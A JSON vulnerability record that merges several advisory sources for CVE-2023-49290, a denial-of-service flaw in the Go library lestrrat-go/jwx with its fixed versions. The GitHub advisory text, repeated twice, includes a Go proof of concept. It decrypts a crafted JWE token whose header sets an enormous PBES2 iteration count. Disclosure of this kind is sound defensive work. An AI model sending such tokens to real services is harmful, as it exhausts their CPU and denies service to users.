{"id":"CVE-2023-49290","aliases":["EUVD-2023-3143","GHSA-7f9x-gw85-8grf","GO-2023-2379"],"status":"published","title":"Malicious parameters can cause a denial of service in lestrrat-go/jwx","description":"lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2-* could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit `64f2a229b` which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00729,"percentile":0.54518,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2023-12-04T23:42:53Z","modified":"2026-10-28T02:30:40Z","fixes":[{"ecosystem":"Go","package":"github.com/lestrrat-go/jwx","fixed_in":["1.2.27"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/lestrrat-go/jwx/v2","fixed_in":["2.0.18"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lestrrat-go/jwx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.27"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/lestrrat-go/jwx/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.18"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lestrrat-go/jwx","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.2.27"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lestrrat-go/jwx/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.18"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lestrrat-go/jwx","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.2.27"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lestrrat-go/jwx/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.18"}]}]}],"products":[{"vendor":"lestrrat-go","product":"jwx"}],"references":[{"url":"https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49290","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7f9x-gw85-8grf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49290.json","tags":["advisory"]},{"url":"https://github.com/lestrrat-go/jwx","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-49290","title":"Malicious parameters can cause a denial of service in lestrrat-go/jwx","description":"lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2-* could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit `64f2a229b` which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-04T23:42:53.061Z","modified":"2025-05-29T13:39:54.272Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:35:12.998024Z"}],"euvd":[{"id":"EUVD-2023-3143","description":"lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2-* could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit `64f2a229b` which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-04T23:42:53Z","modified":"2025-05-29T13:39:54Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T20:32:35.823426Z"}],"ghsa":[{"id":"GHSA-7f9x-gw85-8grf","title":"lestrrat-go/jwx's malicious parameters in JWE can cause a DOS","description":"### Summary\ntoo high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.\n","status":"published","published":"2023-12-05T23:29:26Z","modified":"2024-01-23T18:45:09Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:32.302254Z"}],"nvd":[{"id":"CVE-2023-49290","description":"lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2-* could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit `64f2a229b` which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-05T00:15:09.19Z","modified":"2026-06-17T06:35:46.787Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:08:52.544469Z"}],"osv":[{"id":"CVE-2023-49290","title":"Malicious parameters can cause a denial of service in lestrrat-go/jwx","description":"lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2-* could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit `64f2a229b` which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2023-12-04T23:42:53.061Z","modified":"2026-10-28T02:30:40.736105351Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"GHSA-7f9x-gw85-8grf","title":"lestrrat-go/jwx's malicious parameters in JWE can cause a DOS","description":"### Summary\ntoo high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.\n","status":"published","published":"2023-12-05T23:29:26Z","modified":"2026-09-10T03:49:59.444603643Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"GO-2023-2379","title":"Denial of service due to malicious parameters in github.com/lestrrat-go/jwx","description":"The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource-intensive. However, if an attacker sets the p2c parameter in JWE to a very large number, it can cause excessive computational consumption.","status":"published","published":"2023-12-11T15:08:59Z","modified":"2026-02-04T02:20:17.017357Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}